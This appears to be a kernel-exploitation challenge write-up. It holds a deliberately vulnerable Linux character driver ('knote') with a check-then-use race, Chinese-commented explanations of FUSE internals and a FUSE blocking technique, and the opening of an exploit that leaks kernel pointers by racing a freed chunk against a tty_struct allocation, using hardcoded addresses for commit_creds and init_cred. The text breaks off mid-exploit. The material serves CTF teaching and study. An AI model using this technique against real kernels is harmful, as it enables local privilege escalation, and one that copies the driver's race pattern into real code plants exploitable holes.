/**
 * Copyright (c) 2026 BinRacer <native.lab@outlook.com>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 **/
// code base on D^3CTF 2019 - knote
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/export.h>
#include <linux/fs.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/ptrace.h>
#include <linux/rwlock.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>

#define ADD_CHUNK 0x1337
#define GET_CHUNK 0x2333
#define DELETE_CHUNK 0x6666
#define EDIT_CHUNK 0x8888

struct chunk_t {
	union {
		size_t size;
		size_t idx;
	};
	void *buf;
};

static struct chunk_t chunks[9] = { 0 };

static size_t in_use = 0;
static rwlock_t kstack_rwlock;

static unsigned int major;
static struct class *knote_class;
static struct cdev knote_cdev;

static int knote_open(struct inode *inode, struct file *filp)
{
	int ret = 0;
	pr_info("[knote:] Device open.\n");
	write_lock(&kstack_rwlock);
	if (in_use) {
		pr_info("[knote:] occupied by others, try later.\n");
		ret = -EFAULT;
	}
	in_use = 1;
	write_unlock(&kstack_rwlock);
	return ret;
}

static int knote_release(struct inode *inode, struct file *filp)
{
	int i = 0;
	for (i = 0; i < 9; i++) {
		if (chunks[i].buf) {
			kfree(chunks[i].buf);
		}
	}
	in_use = 0;
	pr_info("[knote:] Device release.\n");
	return 0;
}

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
	struct chunk_t chunk = { 0 };
	if (copy_from_user(&chunk, (void *)arg, sizeof(struct chunk_t))) {
		pr_info("[knote:] Error copy data ptr from user.\n");
		return -EFAULT;
	}
	if (in_use > 9) {
		pr_info("[knote:] please don't occupy knote too longer.\n");
		return -EFAULT;
	}
	in_use++;

	if (cmd == ADD_CHUNK) {
		int i = 0;
		void *buf = NULL;
		read_lock(&kstack_rwlock);
		for (i = 0; i < 9; i++) {
			if (!chunks[i].buf) {
				break;
			}
		}
		read_unlock(&kstack_rwlock);
		if (i >= 9) {
			pr_info("[knote:] chunks is full.\n");
			return -EFAULT;
		}

		if (chunk.size >= 0x1000) {
			pr_info("[knote:] too large.\n");
			return -EFAULT;
		}

		write_lock(&kstack_rwlock);
		buf = kmalloc(chunk.size, GFP_KERNEL);
		if (!buf) {
			write_unlock(&kstack_rwlock);
			pr_info("[knote:] Out of memory.\n");
			return -EFAULT;
		}
		chunks[i].buf = buf;
		chunks[i].size = chunk.size;
		write_unlock(&kstack_rwlock);
		pr_info("[knote:] new note created.\n");
	} else if (cmd == GET_CHUNK) {
		if (chunk.idx > 9) {
			pr_info("[knote:] index out of range.\n");
			return -EFAULT;
		}
		if (!chunks[chunk.idx].buf) {
			pr_info("[knote:] no such note.\n");
			return -EFAULT;
		}
		if (copy_to_user(chunk.buf, chunks[chunk.idx].buf,
				 chunks[chunk.idx].size)) {
			pr_info("[knote:] Error copy data to user.\n");
			return -EFAULT;
		}
	} else if (cmd == DELETE_CHUNK) {
		if (chunk.idx > 9) {
			pr_info("[knote:] index out of range.\n");
			return -EFAULT;
		}
		write_lock(&kstack_rwlock);
		if (!chunks[chunk.idx].buf) {
			write_unlock(&kstack_rwlock);
			pr_info("[knote:] no such note.\n");
			return -EFAULT;
		}
		kfree(chunks[chunk.idx].buf);
		chunks[chunk.idx].buf = NULL;
		chunks[chunk.idx].size = 0;
		write_unlock(&kstack_rwlock);
	} else if (cmd == EDIT_CHUNK) {
		if (chunk.idx > 9) {
			pr_info("[knote:] index out of range.\n");
			return -EFAULT;
		}
		if (!chunks[chunk.idx].buf) {
			pr_info("[knote:] no such note.\n");
			return -EFAULT;
		}
		if (copy_from_user(chunks[chunk.idx].buf, chunk.buf,
				   chunks[chunk.idx].size)) {
			pr_info("[knote:] Error copy data from user.\n");
			return -EFAULT;
		}
	} else {
		pr_info("[knote:] Unknown ioctl cmd!\n");
		return -EINVAL;
	}
	return 0;
}

struct file_operations knote_fops = {
	.owner = THIS_MODULE,
	.open = knote_open,
	.release = knote_release,
	.unlocked_ioctl = knote_ioctl,
};

static char *knote_devnode(struct device *dev, umode_t *mode)
{
	if (mode)
		*mode = 0666;
	return NULL;
}

static int __init init_knote(void)
{
	struct device *knote_device;
	int error;
	dev_t devt = 0;

	error = alloc_chrdev_region(&devt, 0, 1, "knote");
	if (error < 0) {
		pr_err("[knote:] Can't get major number!\n");
		return error;
	}
	major = MAJOR(devt);
	pr_info("[knote:] knote major number = %d.\n", major);

	knote_class = class_create(THIS_MODULE, "knote_class");
	if (IS_ERR(knote_class)) {
		pr_err("[knote:] Error creating knote class!\n");
		unregister_chrdev_region(MKDEV(major, 0), 1);
		return PTR_ERR(knote_class);
	}
	knote_class->devnode = knote_devnode;

	cdev_init(&knote_cdev, &knote_fops);
	knote_cdev.owner = THIS_MODULE;
	cdev_add(&knote_cdev, devt, 1);
	knote_device = device_create(knote_class, NULL, devt, NULL, "knote");
	if (IS_ERR(knote_device)) {
		pr_err("[knote:] Error creating knote device!\n");
		class_destroy(knote_class);
		unregister_chrdev_region(devt, 1);
		return -1;
	}
	rwlock_init(&kstack_rwlock);
	pr_info("[knote:] knote module loaded.\n");
	return 0;
}

static void __exit exit_knote(void)
{
	unregister_chrdev_region(MKDEV(major, 0), 1);
	device_destroy(knote_class, MKDEV(major, 0));
	cdev_del(&knote_cdev);
	class_destroy(knote_class);
	pr_info("[knote:] knote module unloaded.\n");
}

module_init(init_knote);
module_exit(exit_knote);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");

struct chunk_t {
    union {
        size_t size;  // 内存块大小
        size_t idx;   // 内存块索引
    };
    void *buf;        // 指向分配的内核内存
};
static struct chunk_t chunks[9] = { 0 };

#define ADD_CHUNK 0x1337     // 分配内存块
#define GET_CHUNK 0x2333     // 读取内存块内容
#define DELETE_CHUNK 0x6666  // 删除内存块
#define EDIT_CHUNK 0x8888    // 编辑内存块内容

if (!chunks[chunk.idx].buf) {  // 检查时间
    return -EFAULT;
}
// 竞态窗口：其他线程（如执行DELETE_CHUNK）可在此处修改chunks数组状态
if (copy_to/from_user(...)) {  // 使用时间
    return -EFAULT;
}

// 简化的FUSE文件操作结构
static const struct file_operations fuse_file_operations = {
    .read_iter    = fuse_file_read_iter,     // 读操作
    .write_iter   = fuse_file_write_iter,    // 写操作
    .mmap         = fuse_file_mmap,          // 内存映射
    .open         = fuse_open,               // 打开文件
    .release      = fuse_release,            // 关闭文件
    .fsync        = fuse_fsync,              // 同步文件
    // ... 其他操作
};

// FUSE请求头部结构（简化）
struct fuse_in_header {
    uint32_t len;       // 请求总长度（包括头部）
    uint32_t opcode;    // 操作码（如FUSE_READ、FUSE_WRITE）
    uint64_t unique;    // 请求唯一标识符
    uint64_t nodeid;    // 文件节点ID
    uint32_t uid;       // 用户ID
    uint32_t gid;       // 组ID
    uint32_t pid;       // 进程ID
    uint32_t padding;   // 填充字段
};

// FUSE内存映射相关操作
static const struct vm_operations_struct fuse_file_vm_ops = {
    .fault        = fuse_vma_fault,        // 缺页异常处理
    .page_mkwrite = fuse_vma_page_mkwrite, // 页面写时复制
    // ... 其他虚拟内存操作
};

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <time.h>

/* 文件系统数据结构 */
struct file_entry {
    char *path;
    char *data;
    size_t size;
    mode_t mode;
    time_t mtime;
};

/* 内存中的文件表 */
static struct file_entry files[] = {
    {"/", NULL, 4096, S_IFDIR | 0755, 0},
    {"/test.txt", "Hello from FUSE2!", 18, S_IFREG | 0644, 0},
    {NULL, NULL, 0, 0, 0}
};

/* 1. 获取文件/目录属性 */
static int fuse_ops_getattr(const char *path, struct stat *stbuf) {
    printf("FUSE2 getattr: %s\n", path);

    memset(stbuf, 0, sizeof(struct stat));

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(path, files[i].path) == 0) {
            stbuf->st_mode = files[i].mode;
            stbuf->st_nlink = 1;
            stbuf->st_size = files[i].size;
            stbuf->st_uid = getuid();
            stbuf->st_gid = getgid();
            stbuf->st_atime = stbuf->st_mtime = stbuf->st_ctime = time(NULL);
            return 0;
        }
    }

    return -ENOENT;
}

/* 2. 读取目录内容 */
static int fuse_ops_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi) {
    printf("FUSE2 readdir: %s\n", path);

    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0)
        return -ENOENT;

    filler(buf, ".", NULL, 0);
    filler(buf, "..", NULL, 0);

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(files[i].path, "/") != 0) {
            const char *name = strrchr(files[i].path, '/');
            if (name) name++;
            else name = files[i].path;

            if (*name != '\0') {
                filler(buf, name, NULL, 0);
            }
        }
    }

    return 0;
}

/* 3. 打开文件 */
static int fuse_ops_open(const char *path, struct fuse_file_info *fi) {
    printf("FUSE2 open: %s, flags: 0x%x\n", path, fi->flags);

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(path, files[i].path) == 0) {
            if ((fi->flags & O_ACCMODE) == O_WRONLY ||
                (fi->flags & O_ACCMODE) == O_RDWR) {
                if (!(files[i].mode & S_IWUSR)) {
                    return -EACCES;
                }
            }

            // 设置直接IO，绕过页面缓存
            // fi->direct_io = 1;
            return 0;
        }
    }

    return -ENOENT;
}

/* 4. 读取文件内容 */
static int fuse_ops_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi) {
    printf("FUSE2 read: %s, size: %zu, offset: %ld\n", path, size, offset);

    (void) fi;

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(path, files[i].path) == 0) {
            if (offset >= files[i].size)
                return 0;

            if (offset + size > files[i].size)
                size = files[i].size - offset;

            if (files[i].data) {
                memcpy(buf, files[i].data + offset, size);
            } else {
                memset(buf, 0, size);
            }

            return size;
        }
    }

    return -ENOENT;
}

/* 5. 写入文件内容 */
static int fuse_ops_write(const char *path, const char *buf, size_t size,
                         off_t offset, struct fuse_file_info *fi) {
    printf("FUSE2 write: %s, size: %zu, offset: %ld\n", path, size, offset);

    (void) fi;

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(path, files[i].path) == 0) {
            if (!(files[i].mode & S_IWUSR))
                return -EACCES;

            // 在实际应用中，这里会更新文件数据和大小
            // 这里只是模拟写入操作
            return size;
        }
    }

    return -ENOENT;
}

/* FUSE2操作结构体 */
static struct fuse_operations fuse_ops = {
    .getattr = fuse_ops_getattr,
    .readdir = fuse_ops_readdir,
    .open    = fuse_ops_open,
    .read    = fuse_ops_read,
    .write   = fuse_ops_write,
};

int main(int argc, char *argv[]) {
    // 初始化文件的修改时间
    for (int i = 0; files[i].path != NULL; i++) {
        files[i].mtime = time(NULL);
    }

    return fuse_main(argc, argv, &fuse_ops, NULL);
}

#define FUSE_USE_VERSION 31
#include <fuse3/fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/statvfs.h>
#include <unistd.h>
#include <time.h>

/* 文件系统数据结构 */
struct file_entry {
    char *path;
    char *data;
    size_t size;
    mode_t mode;
    time_t mtime;
};

/* 内存中的文件表 */
static struct file_entry files[] = {
    {"/", NULL, 4096, S_IFDIR | 0755, 0},
    {"/test.txt", "Hello from FUSE3!", 18, S_IFREG | 0644, 0},
    {NULL, NULL, 0, 0, 0}
};

/* 1. 获取文件/目录属性 */
static int fuse_ops_getattr(const char *path, struct stat *stbuf,
                           struct fuse_file_info *fi) {
    printf("FUSE3 getattr: %s\n", path);

    (void) fi;
    memset(stbuf, 0, sizeof(struct stat));

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(path, files[i].path) == 0) {
            stbuf->st_mode = files[i].mode;
            stbuf->st_nlink = 1;
            stbuf->st_size = files[i].size;
            stbuf->st_uid = getuid();
            stbuf->st_gid = getgid();
            stbuf->st_atime = stbuf->st_mtime = stbuf->st_ctime = time(NULL);
            return 0;
        }
    }

    return -ENOENT;
}

/* 2. 读取目录内容 */
static int fuse_ops_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
                           off_t offset, struct fuse_file_info *fi,
                           enum fuse_readdir_flags flags) {
    printf("FUSE3 readdir: %s, flags: %d\n", path, flags);

    (void) offset;
    (void) fi;

    if (strcmp(path, "/") != 0)
        return -ENOENT;

    filler(buf, ".", NULL, 0, 0);
    filler(buf, "..", NULL, 0, 0);

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(files[i].path, "/") != 0) {
            const char *name = strrchr(files[i].path, '/');
            if (name) name++;
            else name = files[i].path;

            if (*name != '\0') {
                filler(buf, name, NULL, 0, 0);
            }
        }
    }

    return 0;
}

/* 3. 打开文件 */
static int fuse_ops_open(const char *path, struct fuse_file_info *fi) {
    printf("FUSE3 open: %s, flags: 0x%x\n", path, fi->flags);

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(path, files[i].path) == 0) {
            if ((fi->flags & O_ACCMODE) == O_WRONLY ||
                (fi->flags & O_ACCMODE) == O_RDWR) {
                if (!(files[i].mode & S_IWUSR)) {
                    return -EACCES;
                }
            }

            // 设置直接IO，绕过页面缓存
            // fi->direct_io = 1;
            return 0;
        }
    }

    return -ENOENT;
}

/* 4. 读取文件内容 */
static int fuse_ops_read(const char *path, char *buf, size_t size, off_t offset,
                        struct fuse_file_info *fi) {
    printf("FUSE3 read: %s, size: %zu, offset: %ld\n", path, size, offset);

    (void) fi;

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(path, files[i].path) == 0) {
            if (offset >= files[i].size)
                return 0;

            if (offset + size > files[i].size)
                size = files[i].size - offset;

            if (files[i].data) {
                memcpy(buf, files[i].data + offset, size);
            } else {
                memset(buf, 0, size);
            }

            return size;
        }
    }

    return -ENOENT;
}

/* 5. 写入文件内容 */
static int fuse_ops_write(const char *path, const char *buf, size_t size,
                         off_t offset, struct fuse_file_info *fi) {
    printf("FUSE3 write: %s, size: %zu, offset: %ld\n", path, size, offset);

    (void) fi;

    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(path, files[i].path) == 0) {
            if (!(files[i].mode & S_IWUSR))
                return -EACCES;

            // 在实际应用中，这里会更新文件数据和大小
            // 这里只是模拟写入操作
            return size;
        }
    }

    return -ENOENT;
}

/* 6. 获取文件系统统计信息 */
static int fuse_ops_statfs(const char *path, struct statvfs *stbuf) {
    printf("FUSE3 statfs: %s\n", path);

    (void) path;

    // 填充虚拟的文件系统统计信息
    stbuf->f_bsize = 4096;
    stbuf->f_frsize = 4096;
    stbuf->f_blocks = 1000;     // 总块数
    stbuf->f_bfree = 500;       // 空闲块数
    stbuf->f_bavail = 500;      // 可用块数
    stbuf->f_files = 100;       // 总文件节点数
    stbuf->f_ffree = 50;        // 空闲文件节点数
    stbuf->f_favail = 50;       // 可用文件节点数
    stbuf->f_fsid = 0;
    stbuf->f_flag = 0;
    stbuf->f_namemax = 255;

    return 0;
}

/* FUSE3操作结构体 */
static struct fuse_operations fuse_ops = {
    .getattr = fuse_ops_getattr,
    .readdir = fuse_ops_readdir,
    .open    = fuse_ops_open,
    .read    = fuse_ops_read,
    .write   = fuse_ops_write,
    .statfs  = fuse_ops_statfs,
};

int main(int argc, char *argv[]) {
    struct fuse_args args = FUSE_ARGS_INIT(argc, argv);
    struct fuse_cmdline_opts opts;
    struct fuse_session *se;
    int ret = 1;

    // 初始化文件的修改时间
    for (int i = 0; files[i].path != NULL; i++) {
        files[i].mtime = time(NULL);
    }

    // 解析命令行参数
    if (fuse_parse_cmdline(&args, &opts) != 0)
        return 1;

    // 创建FUSE会话
    se = fuse_session_new(&args, &fuse_ops, sizeof(fuse_ops), NULL);
    if (se == NULL)
        goto err_out;

    // 挂载文件系统
    if (fuse_session_mount(se, opts.mountpoint) != 0)
        goto err_free_session;

    // 设置信号处理
    fuse_set_signal_handlers(se);

    // 运行事件循环
    if (opts.singlethread)
        ret = fuse_session_loop(se);
    else
        ret = fuse_session_loop_mt(se, opts.clone_fd);

    // 清理
    fuse_session_unmount(se);

err_free_session:
    fuse_session_destroy(se);
err_out:
    fuse_opt_free_args(&args);

    return ret;
}

// 用户程序示例：映射FUSE文件并访问
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

int main() {
    int fd;
    char *addr;
    struct stat sb;

    // 打开FUSE挂载点的文件
    fd = open("/mnt/fuse/test.txt", O_RDONLY);
    if (fd == -1) {
        perror("open");
        exit(EXIT_FAILURE);
    }

    // 获取文件大小
    if (fstat(fd, &sb) == -1) {
        perror("fstat");
        exit(EXIT_FAILURE);
    }

    // 映射文件到内存
    addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (addr == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

    printf("File mapped at address: %p\n", addr);

    // 第一次访问映射的内存 - 触发缺页异常
    printf("First byte: %c\n", addr[0]);

    // 访问更多数据
    for (int i = 0; i < 10 && i < sb.st_size; i++) {
        printf("%c", addr[i]);
    }
    printf("\n");

    // 取消映射
    if (munmap(addr, sb.st_size) == -1) {
        perror("munmap");
        exit(EXIT_FAILURE);
    }

    close(fd);
    return 0;
}

// 当用户调用read()时
SYSCALL_DEFINE3(read, unsigned int, fd, char __user *, buf, size_t, count)
    → ksys_read()
        → vfs_read()
            → file->f_op->read_iter()  // 调用文件操作表

// fs/fuse/file.c
const struct file_operations fuse_file_operations = {
    .llseek         = fuse_file_llseek,
    .read_iter      = fuse_file_read_iter,      // 读操作
    .write_iter     = fuse_file_write_iter,     // 写操作
    .mmap           = fuse_file_mmap,           // 内存映射
    .open           = fuse_open,                // 打开文件
    .flush          = fuse_flush,               // 刷新文件
    .release        = fuse_release,             // 关闭文件
    .fsync          = fuse_fsync,               // 同步文件
    .lock           = fuse_file_lock,           // 文件锁
    .get_unmapped_area = thp_get_unmapped_area, // 获取未映射区域
    .splice_read    = generic_file_splice_read, // splice读取
};

// fs/fuse/file.c
static ssize_t fuse_file_read_iter(struct kiocb *iocb, struct iov_iter *to)
    → fuse_do_readpage()                     // 直接读取页面
        → fuse_send_read()                   // 发送读请求到用户空间
            → fuse_simple_request()          // 发送简单请求
                → fuse_request_send()        // 发送请求
                    → queue_request()        // 将请求加入队列
                    → request_wait_answer()  // 等待响应

// fs/fuse/file.c
static int fuse_file_mmap(struct file *file, struct vm_area_struct *vma)
    → fuse_link_write_file()                 // 链接写文件
    → vma->vm_ops = &fuse_file_vm_ops;       // 设置虚拟内存操作

// 虚拟内存操作表
static const struct vm_operations_struct fuse_file_vm_ops = {
    .close        = fuse_vma_close,          // 关闭VMA
    .fault        = fuse_vma_fault,          // 缺页处理
    .page_mkwrite = fuse_vma_page_mkwrite,   // 页面写时复制
    .map_pages    = filemap_map_pages,       // 映射页面
};

// fs/fuse/file.c
static vm_fault_t fuse_vma_fault(struct vm_fault *vmf)
    → filemap_fault()                        // 文件映射缺页处理
        → do_sync_mmap_readpage()           // 同步映射读取页面
            → fuse_readpage()               // FUSE页面读取
                → fuse_send_readpage()      // 发送页面读取请求

// fs/fuse/dev.c
// 请求发送
static void queue_request(struct fuse_conn *fc, struct fuse_req *req)
    → list_add_tail(&req->list, &fc->pending);  // 加入待处理队列
    → request_send_notify(fc, req);             // 通知用户空间

// 请求接收
static ssize_t fuse_dev_read(struct kiocb *iocb, struct iov_iter *to)
    → copy_request_to_user(fc, req, to);        // 复制请求到用户空间

// 响应接收
static ssize_t fuse_dev_write(struct kiocb *iocb, struct iov_iter *from)
    → copy_request_from_user(fc, req, from);    // 从用户空间复制响应
    → request_end(fc, req);                     // 结束请求

// fs/fuse/fuse_i.h
struct fuse_req {
    struct list_head list;           // 链表节点
    struct fuse_conn *fc;            // FUSE连接
    atomic_t count;                  // 引用计数
    unsigned int flags;              // 标志位
    unsigned int state;              // 状态
    struct fuse_args args;           // 请求参数
    struct fuse_in_header in;        // 输入头部
    struct fuse_out_header out;      // 输出头部
    wait_queue_head_t waitq;         // 等待队列
    // ... 其他字段
};

// fs/fuse/dev.c
static void request_send(struct fuse_conn *fc, struct fuse_req *req)
{
    // 设置请求状态
    req->state = FUSE_REQ_PENDING;
    req->intr = 1;

    // 将请求加入待处理队列
    list_add_tail(&req->list, &fc->pending);

    // 如果连接被中断，设置错误
    if (fc->connected) {
        fc->num_background++;
        if (fc->num_background == fc->max_background)
            fc->blocked = 1;

        // 唤醒读取进程
        wake_up(&fc->waitq);
    } else {
        req->out.h.error = -ENOTCONN;
        request_end(fc, req);
    }
}

// fs/fuse/file.c
static vm_fault_t fuse_vma_fault(struct vm_fault *vmf)
{
    vm_fault_t ret;
    struct file *file = vmf->vma->vm_file;
    struct fuse_file *ff = file->private_data;

    // 获取inode
    struct inode *inode = file_inode(file);

    // 调用通用文件映射缺页处理
    ret = filemap_fault(vmf);

    // 如果是写时复制缺页，需要特殊处理
    if (vmf->flags & FAULT_FLAG_WRITE) {
        mutex_lock(&inode->i_mutex);
        fuse_write_update_size(inode, vmf->pgoff << PAGE_SHIFT);
        mutex_unlock(&inode->i_mutex);
    }

    return ret;
}

// fs/fuse/file.c
static int fuse_readpage(struct file *file, struct page *page)
{
    struct inode *inode = page->mapping->host;
    struct fuse_conn *fc = get_fuse_conn(inode);
    struct fuse_req *req;
    int err;

    // 分配请求
    req = fuse_get_req(fc, 1);
    if (IS_ERR(req))
        return PTR_ERR(req);

    // 设置请求参数
    req->out.page_zeroing = 1;
    req->out.argpages = 1;
    req->num_pages = 1;
    req->pages[0] = page;
    req->page_descs[0].length = PAGE_SIZE;

    // 构建读取请求
    fuse_read_fill(req, file, page->index << PAGE_SHIFT, PAGE_SIZE, 0);

    // 发送请求
    fuse_request_send(fc, req);

    // 等待响应
    err = req->out.h.error;
    fuse_put_request(fc, req);

    return err;
}

// fs/fuse/dev.c
static void request_wait_answer(struct fuse_conn *fc, struct fuse_req *req)
{
    // 设置请求状态
    req->state = FUSE_REQ_SENT;

    // 如果请求不可中断，使用不可中断等待
    if (!req->intr) {
        wait_event(req->waitq, req->state == FUSE_REQ_FINISHED);
    } else {
        // 可中断等待
        int err = wait_event_interruptible(req->waitq,
                    req->state == FUSE_REQ_FINISHED);
        if (err) {
            // 请求被中断
            spin_lock(&fc->lock);
            if (req->state == FUSE_REQ_SENT) {
                list_del(&req->list);
                req->out.h.error = -EINTR;
                req->state = FUSE_REQ_FINISHED;
            }
            spin_unlock(&fc->lock);
        }
    }
}

// 简化的等待机制示意
static void request_wait_answer(struct fuse_conn *fc, struct fuse_req *req)
{
    // ... 发送请求到用户空间 ...

    // 💥 竞态窗口开始：内核线程在此处等待
    wait_event(req->waitq, req->state == FUSE_REQ_FINISHED);

    // 💥 竞态窗口结束：用户空间返回响应
    // ... 处理响应 ...
}

// fs/fuse/fuse_abi.h
struct fuse_in_header {
    uint32_t len;       // 请求总长度
    uint32_t opcode;    // 操作码
    uint64_t unique;    // 请求唯一ID
    uint64_t nodeid;    // 文件节点ID
    uint32_t uid;       // 用户ID
    uint32_t gid;       // 组ID
    uint32_t pid;       // 进程ID
    uint32_t padding;
};

struct fuse_out_header {
    uint32_t len;       // 响应总长度
    int32_t error;      // 错误码（0表示成功）
    uint64_t unique;    // 对应的请求ID
};

#include <signal.h>
#include <pthread.h>
#include <semaphore.h>

static sem_t fuse_block_sem;
static volatile int fuse_blocked = 0;

/* 信号处理器 */
static void signal_handler(int sig) {
    if (sig == SIGUSR1) {
        printf("FUSE: Received resume signal\n");
        sem_post(&fuse_block_sem);
    }
}

/* 带阻塞控制的read回调 */
static int fuse_ops_read_with_block(const char *path, char *buf,
                                   size_t size, off_t offset,
                                   struct fuse_file_info *fi) {
    printf("FUSE read with block control: %s\n", path);

    // 检查是否需要阻塞
    if (fuse_blocked) {
        printf("FUSE: Entering blocking state\n");

        // 设置信号处理器
        signal(SIGUSR1, signal_handler);

        // 初始化信号量
        sem_init(&fuse_block_sem, 0, 0);

        // 阻塞等待信号
        sem_wait(&fuse_block_sem);

        printf("FUSE: Resuming execution\n");

        // 清理
        sem_destroy(&fuse_block_sem);
        signal(SIGUSR1, SIG_DFL);
    }

    // 正常的数据读取逻辑
    for (int i = 0; files[i].path != NULL; i++) {
        if (strcmp(path, files[i].path) == 0) {
            if (offset >= files[i].size)
                return 0;

            if (offset + size > files[i].size)
                size = files[i].size - offset;

            if (files[i].data) {
                memcpy(buf, files[i].data + offset, size);
            } else {
                memset(buf, 0, size);
            }

            return size;
        }
    }

    return -ENOENT;
}

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/mman.h>
#include <fcntl.h>

/* 控制FUSE阻塞的标志 */
void set_fuse_block(int enable) {
    // 在实际实现中，这里需要通过进程间通信
    // 通知FUSE守护进程是否启用阻塞
    printf("Setting FUSE block: %s\n", enable ? "ON" : "OFF");
}

/* 恢复FUSE执行 */
void resume_fuse() {
    // 发送信号恢复FUSE执行
    printf("Sending resume signal to FUSE\n");

    // 在实际实现中，需要知道FUSE守护进程的PID
    // kill(fuse_pid, SIGUSR1);
}

int main() {
    int fd;
    char *addr;

    // 设置FUSE阻塞
    set_fuse_block(1);

    // 打开FUSE文件
    fd = open("/mnt/fuse/test.txt", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    // 映射文件
    addr = mmap(NULL, 4096, PROT_READ, MAP_PRIVATE, fd, 0);
    if (addr == MAP_FAILED) {
        perror("mmap");
        close(fd);
        return 1;
    }

    printf("File mapped at %p\n", addr);

    // 启动另一个线程执行竞态操作
    pthread_t thread;
    // pthread_create(&thread, NULL, race_operation, NULL);

    // 触发FUSE读取（这会阻塞）
    printf("Accessing mapped memory (will trigger FUSE read)\n");
    char first_byte = addr[0];
    printf("First byte: %c\n", first_byte);

    // 此时FUSE守护进程在read回调中阻塞
    // 可以在这里执行竞态操作

    // 恢复FUSE执行
    sleep(1);  // 给竞态操作一些时间
    resume_fuse();

    // 继续访问文件
    printf("Continuing to access file...\n");
    for (int i = 0; i < 10; i++) {
        printf("%c", addr[i]);
    }
    printf("\n");

    // 清理
    munmap(addr, 4096);
    close(fd);

    return 0;
}

/*
 * Kernel addresses
 */
#define DO_SAK_WORK        0xffffffff814e9e60
#define INIT_CRED          0xffffffff824441e0
#define COMMIT_CREDS       0xffffffff81090f60
#define WORK_FOR_CPU_FN    0xffffffff81085e50
#define TTY_STRUCT_SIZE    0x2c0

/*
 * Driver IOCTL commands
 */
#define ADD_CHUNK          0x1337
#define GET_CHUNK          0x2333
#define DELETE_CHUNK       0x6666
#define EDIT_CHUNK         0x8888

/*
 * Global state
 */
static int dev_fd = -1;
static int tty_fd = -1;
static size_t tty_struct_addr = 0;
static size_t fake_tty_data[TTY_STRUCT_SIZE / 8] = {0};
static size_t orig_tty_data[TTY_STRUCT_SIZE / 8] = {0};
static char *evil_fuse_mmap = NULL;

/*
 * Driver interaction structures
 */
struct chunk_t {
    union {
        size_t size;
        size_t idx;
    };
    void *buf;
};

/*
 * Driver interaction wrappers
 */
static void add_chunk(size_t size)
{
    struct chunk_t chunk = {
        .size = size,
    };
    ioctl(dev_fd, ADD_CHUNK, &chunk);
}

static void get_chunk(size_t index, void *buf)
{
    struct chunk_t chunk = {
        .idx = index,
        .buf = buf,
    };
    ioctl(dev_fd, GET_CHUNK, &chunk);
}

static void delete_chunk(size_t index)
{
    struct chunk_t chunk = {
        .idx = index,
    };
    ioctl(dev_fd, DELETE_CHUNK, &chunk);
}

static void edit_chunk(size_t index, void *buf)
{
    struct chunk_t chunk = {
        .idx = index,
        .buf = buf,
    };
    ioctl(dev_fd, EDIT_CHUNK, &chunk);
}

/*
 * FUSE subsystem initialization
 */
static int init_fuse_subsystem(void)
{
    if (fuse_init(2) < 0) {
        log.error("Failed to initialize FUSE subsystem");
        return -1;
    }

    if (fuse_start() < 0) {
        log.error("Failed to start FUSE daemon");
        return -1;
    }

    if (fuse_create_mapping(0, 2, 1, 1) < 0) {
        log.error("Failed to create FUSE mapping 0");
        return -1;
    }

    if (fuse_create_mapping(1, 2, 1, 1) < 0) {
        log.error("Failed to create FUSE mapping 1");
        return -1;
    }

    return 0;
}

/*
 * Phase 0: Initial setup
 */
static int phase0_setup(void)
{
    log.info("========================================================");
    log.info("Phase 0: Initializing Exploit Environment");
    log.info("========================================================");

    bind_core(0);
    save_status();

    log.info("Initializing FUSE subsystem");
    if (init_fuse_subsystem() < 0) {
        return -1;
    }

    dev_fd = open("/dev/knote", O_RDONLY);
    if (dev_fd < 0) {
        log.error("Failed to open /dev/knote");
        return -1;
    }
    log.success("Vulnerable device opened: fd=%d", dev_fd);

    return 0;
}

/*
 * Phase 1: Kernel pointer leakage
 */
static int phase1_leak_pointers(void)
{
    log.info("========================================================");
    log.info("Phase 1: Kernel Address Leak via Use-After-Read");
    log.info("========================================================");

    /* Allocate vulnerable object */
    add_chunk(TTY_STRUCT_SIZE);

    /* Setup FUSE for race condition read */
    evil_fuse_mmap = (char *)fuse_get_fuse_memory_addr(0);
    RUN_JOB(get_chunk, 0, evil_fuse_mmap);

    /* Trigger race condition */
    fuse_wait_read_hit(0);
    delete_chunk(0);

    /* Allocate tty object in freed memory */
    tty_fd = open("/dev/ptmx", O_RDWR);
    if (tty_fd < 0) {
        log.error("Failed to open /dev/ptmx");
        return -1;
    }

    /* Complete FUSE read to capture kernel data */
    fuse_signal_read_ready(0);
    fuse_wait_read_done(0);
    sleep(1);

    /* Extract leaked kernel pointers */
